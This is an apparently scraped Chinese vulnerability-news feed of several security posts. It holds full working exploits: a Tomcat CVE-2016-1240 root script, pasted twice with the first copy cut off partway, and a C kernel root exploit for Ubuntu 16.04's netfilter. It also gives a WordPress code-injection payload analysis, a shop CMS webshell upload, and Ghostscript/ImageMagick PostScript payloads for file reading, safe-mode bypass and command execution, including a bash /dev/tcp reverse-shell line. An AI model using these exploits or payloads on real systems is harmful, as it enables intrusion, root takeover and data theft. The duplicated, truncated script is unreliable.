Quantcast
Channel: 漏洞时代 - 最新漏洞_0DaY5.CoM
Viewing all 77 articles
Browse latest View live

Tomcat 服务本地提权漏洞预警

$
0
0
from:长亭科技订阅号

10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。

漏洞相关信息:

 

CVE ID:

  • CVE-2016-1240

漏洞原理:

在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。

该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:

171  

  # Run the catalina.sh script as a daemon
  set +e 

  touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
  chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
  start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
  -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
  -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
  status="$?"  
  set +a -e

在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。

利用分析:

该漏洞利用难度不大且场景常见,攻击者在上传webshell后拿到Tomcat用户权限,将catalina.out修改为指向 /etc/shadow 的softlink文件,启动脚本运行后,Tomcat用户将对 /etc/shadow 有访问权限,今读取修改root用户密码,测试如下:

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out”
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil

e

WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

➜ ~ su tomcat6 -c “ln -fs /etc/shadow /var/log/tomcat6/catalina.out”

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out”
head: cannot open ‘/var/log/tomcat6/catalina.out’ for reading: Permission denied

➜ ~ service tomcat6 start

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::

 

该漏洞发现者也在报告公开 PoC, 利用也很有趣,作者不甘于单纯的文件操作,巧妙利用获得了一个root权限的shell

#!/bin/bash

 BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/tomcatrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

    # Cleanup

    echo -e "\n[+] Cleaning up..."

    rm -f $PRIVESCSRC

    rm -f $PRIVESCLIB

    rm -f $TOMCATLOG

    touch $TOMCATLOG

    if [ -f /etc/ld.so.preload ]; then

        echo -n > /etc/ld.so.preload 2>/dev/null

    fi

    echo -e "\n[+] Job done. Exiting with code $1 \n"

exit $1 }

function ctrl_c() {

        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred

 switch for deferred exploitation."

    cleanexit 0

}

#intro

echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es

calation Exploit\nCVE-2016-1240\n"

echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03

3[0m"

# Args

if [ $# -lt 1 ]; then

    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"

exit 3 fi

if [ "$2" = "-deferred" ]; then

    mode="deferred"

else

    mode="active"

fi

# Priv check

echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow

ing privileges: \n`id`"

id | grep -q tomcat

if [ $? -ne 0 ]; then

echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"

#!/bin/bash

 BACKDOORSH="/bin/bash"

BACKDOORPATH=”/TMP/tomcatrootsh

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

    # Cleanup

    echo -e "\n[+] Cleaning up..."

    rm -f $PRIVESCSRC

    rm -f $PRIVESCLIB

    rm -f $TOMCATLOG

    touch $TOMCATLOG

    if [ -f /etc/ld.so.preload ]; then

        echo -n > /etc/ld.so.preload 2>/dev/null

    fi

    echo -e "\n[+] Job done. Exiting with code $1 \n"

exit $1 }

function ctrl_c() {

        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred

 switch for deferred exploitation."

    cleanexit 0

}

#intro

echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es

calation Exploit\nCVE-2016-1240\n"

echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03

3[0m"

# Args

if [ $# -lt 1 ]; then

    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"

exit 3 fi

if [ "$2" = "-deferred" ]; then

    mode="deferred"

else

    mode="active"

fi

# Priv check

echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow

ing privileges: \n`id`"

id | grep -q tomcat

if [ $? -ne 0 ]; then

echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"

exit 3

fi

# Set target paths

TOMCATLOG="$1"

if [ ! -f $TOMCATLOG ]; then

    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exis

t. Try again.\n"

exit 3 fi

echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on de

fault

# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation

 cronjob around 6:25am.

# Attackers can freely add their commands to the /etc/default/locale script after

Tomcat has been

# restarted and file owner gets changed.

if [ "$mode" = "deferred" ]; then

    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG

    if [ $? -ne 0 ]; then

        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

        cleanexit 3

    fi

    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale

`"

    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After

 the Tomcat restart / system reboot"

    echo -ne "\n    you'll be able to add arbitrary commands to the file which wil

l get executed with root privileges"

    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. S

ee also -active mode if you can't wait ;)\n\n"

exit 0 fi

# [ Active exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat <<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>

#include<unistd.h>

#include <dlfcn.h>

uid_t geteuid(void) {

    static uid_t  (*old_geteuid)();

    old_geteuid = dlsym(RTLD_NEXT, "geteuid");

    if ( old_geteuid() == 0 ) {

        chown("$BACKDOORPATH", 0, 0);

        chmod("$BACKDOORPATH", 04777);

        unlink("/etc/ld.so.preload");

}

    return old_geteuid();

}

_solibeof_

gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl

if [ $? -ne 0 ]; then

    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."

    cleanexit 2;

fi

# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH

echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check

if [ -f /etc/ld.so.preload ]; then

    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."

    cleanexit 2

fi

# Symlink the log file to ld.so.preload

rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG

if [ $? -ne 0 ]; then

    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

    cleanexit 3

fi

echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs

echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."

echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat

user) if needed ;)"

while :; do

    sleep 0.1

    if [ -f /etc/ld.so.preload ]; then

        echo $PRIVESCLIB > /etc/ld.so.preload

break; fi

done

 # /etc/ld.so.preload file should be owned by tomcat user at this point

 # Inject the privesc.so shared library to escalate privileges

 echo $PRIVESCLIB > /etc/ld.so.preload

 echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomc

 at privileges: \n`ls -l /etc/ld.so.preload`"

 echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

 echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload

 `"

 # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

 echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

 sudo --help 2>/dev/null >/dev/null

 # Check for the rootshell

 ls -l $BACKDOORPATH | grep rws | grep -q root

 if [ $? -eq 0 ]; then

     echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPA

 TH`"

     echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"

 else

     echo -e "\n[!] Failed to get root"

     cleanexit 2

 fi

 # Execute the rootshell

 echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"

 $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

 $BACKDOORPATH -p

 # Job done.

 cleanexit 0

可以看到,PoC中主要的几个流程, 首先利用Tomcat启动脚本chown的缺陷把/etc/ld_preload.so变成有权限改写,然后加入自己的ldpreload,最后在自己的ldpreload里面给backdoor加上setuid权限,这样Tomcat重启以后backdoor就是root权限带suid了。

影响范围:

deb打包的所有Tomcat6/7/8等版本均受到影响

应急修复方案:

1.临时修复建议

若担心更新有兼容问题,可更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out

加入 – h参数防止其他文件所有者被更改。

 

2. 更新最新Tomcat包

Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。


inux Kernel 4.4.0-21 (Ubuntu 16.04 x64) – Netfilter target_offset OOB Privilege Escalation

$
0
0

screen-shot-2016-07-21-at-175148-1[1]

/*
EDB Note: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40053.zip
*/
 
--------------------------------------------------- decr.c ---------------------------------------------------
/**
 * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
 * check_compat_entry_size_and_hooks/check_entry
 *
 * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
 *
 * Vitaly Nikolenko
 * vnik@cyseclabs.com
 * 23/04/2016
 *
 *
 * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
 * automatic loading).
 *
 * vnik@ubuntu:~$ uname -a
 * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
 * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
 * vnik@ubuntu:~$ ./decr 
 * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
 * [!] Decrementing the refcount. This may take a while...
 * [!] Wait for the "Done" message (even if you'll get the prompt back).
 * vnik@ubuntu:~$ [+] Done! Now run ./pwn
 * 
 * vnik@ubuntu:~$ ./pwn
 * [+] Escalating privs...
 * root@ubuntu:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@ubuntu:~# 
 * 
 */
 
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>
 
#define MALLOC_SIZE 66*1024
 
int check_smaep() {
    FILE *proc_cpuinfo;
    char fbuf[512];
 
    proc_cpuinfo = fopen("/proc/cpuinfo", "r");
 
    if (proc_cpuinfo < 0) {
        perror("fopen");
        return -1;
    }
 
    memset(fbuf, 0, sizeof(fbuf));
     
    while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
        if (strlen(fbuf) == 0)
            continue;
         
        if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
            fclose(proc_cpuinfo);
            return -1;
        }
    }
 
    fclose(proc_cpuinfo);
    return 0;
}
 
int check_mod() {
    FILE *proc_modules;
    char fbuf[256];
 
    proc_modules = fopen("/proc/modules", "r");
 
    if (proc_modules < 0) {
        perror("fopen");
        return -1;
    }
 
    memset(fbuf, 0, sizeof(fbuf));
     
    while(fgets(fbuf, 256, proc_modules) != NULL) {
        if (strlen(fbuf) == 0)
            continue;
         
        if (!strncmp("ip_tables", fbuf, 9)) {
            fclose(proc_modules);
            return 0;
        }
    }
 
    fclose(proc_modules);
    return -1;
}
 
int decr(void *p) {
    int sock, optlen;
    int ret;
    void *data;
    struct ipt_replace *repl;
    struct ipt_entry *entry;
    struct xt_entry_match *ematch;
    struct xt_standard_target *target;
    unsigned i;
 
    sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
 
    if (sock == -1) {
            perror("socket");
            return -1;
    }
 
    data = malloc(MALLOC_SIZE);
 
    if (data == NULL) {
        perror("malloc");
        return -1;
    }
 
    memset(data, 0, MALLOC_SIZE);
 
    repl = (struct ipt_replace *) data;
    repl->num_entries = 1;
    repl->num_counters = 1;
    repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
    repl->valid_hooks = 0;
 
    entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
    entry->target_offset = 74; // overwrite target_offset
    entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
 
    ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
 
    strcpy(ematch->u.user.name, "icmp");
    void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
    uint64_t *me = (uint64_t *)(kmatch + 0x58);
    *me = 0xffffffff821de10d; // magic number!
 
    uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
    *match = (uint32_t)kmatch;
     
    ematch->u.match_size = (short)0xffff;
 
    target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
    uint32_t *t = (uint32_t *)target;
    *t = (uint32_t)kmatch;
 
    printf("[!] Decrementing the refcount. This may take a while...\n");
    printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
 
    for (i = 0; i < 0xffffff/2+1; i++) {
        ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
    }
 
    close(sock);
    free(data);
    printf("[+] Done! Now run ./pwn\n");
 
    return 0;
}
 
int main(void) {
    void *stack;
    int ret;
 
    printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
    if (check_mod()) {
        printf("[-] No ip_tables module found! Quitting...\n");
        return -1;
    }
 
    if (check_smaep()) {
        printf("[-] SMEP/SMAP support dectected! Quitting...\n");
        return -1;
    }
 
    ret = unshare(CLONE_NEWUSER);
 
    if (ret == -1) {
        perror("unshare");
        return -1;
    }
 
    stack = (void *) malloc(65536);
 
    if (stack == NULL) {
        perror("malloc");
        return -1;
    }
 
    clone(decr, stack + 65536, CLONE_NEWNET, NULL);
 
    sleep(1);
 
    return 0;
}
 
--------------------------------------------------- pwn.c ---------------------------------------------------
 
/**
 * Run ./decr first!
 *
 * 23/04/2016
 * - vnik
 */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
 
#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0
 
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
 
void __attribute__((regparm(3))) privesc() {
    commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
    prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
        commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
 
int main() {
    void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
    assert(payload == (void *)MMAP_ADDR);
 
    void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
 
    memset(shellcode, 0, 0x300000);
 
    void *ret = memcpy(shellcode, &privesc, 0x300);
    assert(ret == shellcode);
 
    printf("[+] Escalating privs...\n");
 
    int fd = open("/dev/ptmx", O_RDWR);
    close(fd);
 
    assert(!getuid());
 
    printf("[+] We've got root!");
 
        return execl("/bin/bash", "-sh", NULL);
}

 

WordPress

$
0
0

Author: p0wd3r (知道创宇404安全实验室)

0x00 漏洞概述

1.漏洞简介

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日在github (https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97)上爆出这样一个漏洞,在其<=4.6.1版本中,如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话,就可以执行任意代码。

2.漏洞影响

任意代码执行,但有以下两个前提:

  1. 攻击者可以上传自己构造的语言文件,或者含有该语言文件的主题、插件等文件夹
  2. 网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译

这里举一个真实场景中的例子:攻击者更改了某个插件中的语言文件,并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译,然后攻击者通过诱导管理员安装此插件来触发漏洞。

3.影响版本

<= 4.6.1

0x01 漏洞复现

1. 环境搭建

docker pull wordpress:4.6.1  
docker pull mysql  
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql  
docker run --name wp --link wp-mysql:mysql -d wordpress

2.漏洞分析

首先我们来看这样一个场景:

create_function_bug[1]

在调用create_function时,我们通过}将原函数闭合,添加我们想要执行的内容后再使用/*将后面不必要的部分注释掉,最后即使我们没有调用创建好的函数,我们添加的新内容也依然被执行了。之所以如此,是因为create_function内部使用了eval来执行代码,我们看PHP手册上的说明:

eval[1]

所以由于这个特性,如果我们可以控制create_function$code参数,那就有了任意代码执行的可能。这里要说一下,create_function这个漏洞最早由80sec在08年提出,这里提供几个链接作为参考:

接下来我们看Wordpress中一处用到create_function的地方,在wp-includes/pomo/translations.php第203-209行:

/**
 * Makes a function, which will return the right translation index, according to the
 * plural forms header
 * @param int    $nplurals
 * @param string $expression
 */
function make_plural_form_function($nplurals, $expression) {  
    $expression = str_replace('n', '$n', $expression);
    $func_body = "
        \$index = (int)($expression);
        return (\$index < $nplurals)? \$index : $nplurals - 1;";
    return create_function('$n', $func_body);
}

根据注释可以看到该函数的作用是根据字体文件中的plural forms这个header来创建函数并返回,其中$expression用于组成$func_body,而$func_body作为$code参数传入了create_function,所以关键是控制$expresstion的值。

我们看一下正常的字体文件zh_CN.mo,其中有这么一段:

common[1]

Plural-Froms这个header就是上面的函数所需要处理的,其中nplurals的值即为$nplurals的值,而plural的值正是我们需要的$expression的值。所以我们将字体文件进行如下改动:

payload[1]

然后我们在后台重新加载这个字体文件,同时进行动态调试,可以看到如下情景:

debug[1]

我们payload中的)首先闭合了前面的(,然后结束前面的语句,接着是我们的一句话木马,然后用/*将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload:

index[1]

tools[1]

其中访问index.php?c=phpinfo();的函数调用栈如下:

call[1]

3.补丁分析

目前官方还没有发布补丁,最新版仍存在该漏洞。

0x02 修复方案

在官方发布补丁前建议管理员增强安全意识,不要使用来路不明的字体文件、插件、主题等等。

对于开发者来说,建议对$expression中的特殊符号进行过滤,例如:

$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);

乐尚商城CMS 前台任意文件上传

$
0
0

from: 90sec author:LionEiJonson

0x01:序言
前段时间我发表了”乐尚商城后台任意文件上传”,当时没注意到它整个后台调用的方法都没做登录验证,所以尴尬的以为是后台 getshell,昨天经论坛一朋友提醒才明白是前台 getshell,如果需要看代码分析的朋友可以传送到 ( https://forum.90sec.org/forum.ph … &extra=page%3D1,我这里主要谈谈怎么前台 getshell,顺带请教个问题,望大牛赐教。

0x02:前台 Getshell
我们先本地搭建,登录后台测试是否可以任意文件上传,顺带抓取 POST 包:

QQ图片20161016000631

通过截图可以看到 shell 成功上传,但想要利用这个洞的时候有点棘手,因为这里不但需要POST zip 内容还需要发送 PHPSESSID (PHPSESSID 必须有但不需要担心其值,不然上传不了压缩包),而且 burpsuit 抓取的 POST 包也会因为编码问题,复制出来会被截断,我想了很久实在不知道该怎么解决,这里请教下各位有没有什么方法。所以只能先用 burpsuit 在本地抓取包再改为远程 target 地址,拿它官网的测试 demo 验证,官网应该是修改了代码,上传的shell 不会像测试那样传到 /public/upload 目录下,而它会在该目录创建文件夹,文件名前十二位是上传文件时间,后六位纯数字,爆破一下就能有结果,以下为测试结果:

QQ图片20161016000710

 

PostScript语言安全研究(一)ImageMagick新漏洞分析

$
0
0

Author:数据流(Flyin9_L)

前言:主流的东西太多了,还是研究一些非主流的语言好玩。PostScript(PS)是一种页面描述性语言,由Adobe开发,后由Apple推进发展。开始是应用于工业印刷绘图排版,现在广泛适用于打印机。虽然PostScript是比较冷门的语言,但与我们比较熟悉的PDF的部分元素也是由PostScript语言编写。利用PS的特性与弱点可对解析器与打印机进行攻击,而一些基础组件例如ImageMagick解析ps文件时会依赖外部解析器,所以也可对IM进行攻击。

0x00 PostScript语言入门

由于一般PS语言由机器自动生成,因此关于手写PS语言的资料非常罕见,只能从老外一些零星的资料与解析器的官方文档进行了解。这里我也顺便讲解下PS语言的基础,因为PS语言的中文资料寥寥无几。

PS绘图,其实这语言都是绘图排版的。

1

(绘出Hello world)

因为PS是一种页面描述语言,关于绘图部分的基础我就不说了我也不了解。

解析器:Ghostscript,是可跨平台的PostScript语言解析器。可将PS语言绘图出来,PSPDF互相转换,并带有命令行版本。现在Linux发行版本都会自带Ghostscript

2

文件一般是.PS后缀,且文件头是%!PS,在PS %是注释符。

PostScript是一种基于堆栈的解释语言,而且操作符都是在后的。作为一名WEB狗表示不太习惯。

例:

1+2 ,在PS中表示 1 2 add

在解析器中,先把 2 1放进堆栈中,然后使用操作符 add使两者相加然后再把结果放入堆栈中。

== 表示将栈顶中的元素出栈并打印

3

PostScript最重要就是堆栈操作符:dup pop exch roll copy index

PS也支持定义过程,类似于function

我再举一个简单的例子:

%!PS

/test {pop dup sub 0 index mul} def

1 2 test ==

quit

最后结果是0

/”是定义过程名称的符号,其他操作符熟悉其他语言的看字面都能猜出是什么作用了。在PS中过程不像我们其他语言一样直接跳到函数执行而是把位置替换而已。上面几行代码可以写成

1 2 pop dup sub 0 index mul ==

解析一下流程:1 2入栈,pop2出栈,dup复制栈顶然后sub把两者相减,0 index 取栈堆上第0个元素并入栈,mul把栈顶两个元素相减,==打印栈顶元素并出栈。

pstack操作符可以打印当前栈的所有元素

4

这就是PostScript的基本语法,其他数据类型就不说了(这语言我也不精通啊)。

0x01 任意目录遍历/文件读取漏洞

虽然PostScript是页面描述语言,但也有自己的文件操作符,我们可以利用这个比较文件操作符do some bad

5

不知道为何一个绘图排版打印用的语言也要提供如此丰富的文件操作符。

根据文档的文件操作符的关键字可以写出以下读取文件的代码:

%!PS

/buff 1024 string def              % 定义一个1024字节大小的空间

/file_obj (/etc/passwd) (r) file def

% 定义一个文件对象并读取/etc/passwd文件

file_obj buff readstring      %readstring操作符把文件对象的数据放入buff

buff print

quit

6

当一些网站基于解析器解析pspdf并返回结果的话就会被读取文件。

目录遍历:

PostScriptfilenameforall操作符可以使用通配符匹配文件 所以可以利用这个来遍历目录。

%PS

(/home/*) {==} 256 string filenameforall 

0x02 Ghostscript安全模式与ImageMagick影响

由于上述的问题,Ghostscript增加了安全模式。

启动时 加上参数 -dSAFER

7

Error: /invalidfileaccess in –file–

Operand stack:

   file_obj   (/etc/passwd)   (r)

Execution stack:

   %interp_exit

启动安全模式后,file系列操作符将被禁止,而在ImageMagickPS解析器中是以安全模式启动的,所以无法直接使用以上payload进行攻击。但目录遍历可以。

8

使用ImageMagick套件的identify与convert都可以成功读取文件目录,当网站使用IM解析PS文件时并直接返回结果时就会出现风险

0x03 GhostScript安全模式绕过&ImageMagick远程文件读取漏洞

当GS开发了安全模式后,也不再承认那些类似的缺陷了。但PostScript原生有很多非主流的高级操作符,bypass轻轻松松。

前不久Google安全研究员taviso发现了利用.libfile可以用来bypass安全模式(膜拜google大神,之前本人因为研究PS与他相识并讨论过,本文绕过安全模式的漏洞成果都是出自于他)

CVE-2016-7977 .libfile bypass -dSAFER 文件读取漏洞

%!PS
/Font /Helvetica-Bold findfont def
/FontSize 12 def
Font FontSize scalefont setfont
/dumpname {
    dup             % copy filename
    dup             % copy filename
    print           % print filename
    (\n) print      % print newlinea
    status          % stat filename
    {
        (stat succeeded\n) print
        ( ctime:) print
        64 string cvs print
        ( atime:) print
        64 string cvs print
        ( size:) print
        64 string cvs print
        ( blocks:) print
        64 string cvs print
        (\n) print
        (\n) print
    }{
        (unable to stat\n\n) print
    } ifelse
    .libfile        % open as library
    {
        (.libfile returned file\n\n) print
        64 string readstring
        pop         % discard result (should proably test)
        dup         % copy read string
        print       % write to stdout
        % write to output
        newpath 0 0 moveto show showpage
        (\n) print
    }{
        (.libfile returned string\n) print
        print
        (\n) print
    } ifelse
} def
(/etc/passwd) /dumpname load 256 string filenameforall

这是taviso原来的payload,很复杂,他表示也非常讨厌这语言。但其实可以精简。

Taviso后来也精简了,最后我精简出最短payload

%!PS

(/etc/passwd) .libfile {

256 string readstring

} if

{print} if

quit

9

成功绕过安全模式读取文件

影响ImageMagick

10

IM最新版也影响

11

0x04  Bypass安全模式远程命令执行漏洞

前段时间的研究中我发现了一个远程命令执行漏洞

Ghostscript文档显示outputfile功能是使用popen函数处理,由于popen函数可以执行系统命令,所以可以直接注入命令。

(which opens a pipe on the given command. This is supported only on operating systems that provide popen (primarily Unix systems, and not all of those).

 ghostscript -sDEVICE=pdfwrite -sOutputFile=%pipe%id 参数执行成功

12

尝试直接使用PS代码执行 这几行payload搞了我很久,PS语言确实太麻烦了。

Payload

%!PS

mark

/OutputFile (%pipe%id)     %设置输出外部文件路径名注入命令

(pdfwrite)finddevice       % 使用pdfwrite驱动

putdeviceprops                           

setdevice                                       %设置完成并启动

quit

13

成功执行id命令,若要反弹shell就使用

%pipe%bash -i >& /dev/tcp/****.com/443 0>&1> /dev/tty.

当我兴高采烈去提交这个与其他一些问题后,官方给我回复说我们有安全模式,这些问题在安全模式是无法启用的。

Error: /invalidaccess in –setdevice–

Operand stack:

   –nostringval–

Execution stack:

   %interp_exit   .runexec2   –nostringval–   –nostringval–   —

14

在安全模式下,setdevice操作符被禁止了。但开启安全模式是用户选择的,我相信很多用户都没有用安全模式!只要你解析我的PS文件就shell了。

在这个时候taviso又绕过了安全模式,可以无视-dSAFER执行系统命令。

CVE-2016-7976 (他在9月份30号发现提交的)

绕过是原理还是使用了非主流的操作符,因为类似功能的操作符不止一个,但官方只禁止了常用的。

putdeviceparams

Payload

%!PS

currentdevice null true mark /OutputICCProfile (%pipe%id > /dev/tty)

.putdeviceparams

quit

使用OutputICCProfile 代替了原本的OutputFile

putdeviceparams代替了putdeviceprops

OutputICCProfile这个关键字在官方文档并没有介绍的。。是从源代码翻出来的。

15

成功绕过安全模式执行系统命令。

虽然在Ghostscript能执行,但ImageMagick却不行。可理论上是会影响的,但不知道为何不能。Taviso也说不知道为何IM执行不了,或许是参数问题,总之也存在风险。我也试了好几个版本都不能执行,返回空白。希望更熟悉IM的朋友可以去尝试下。

0x05 总结&漏洞防御

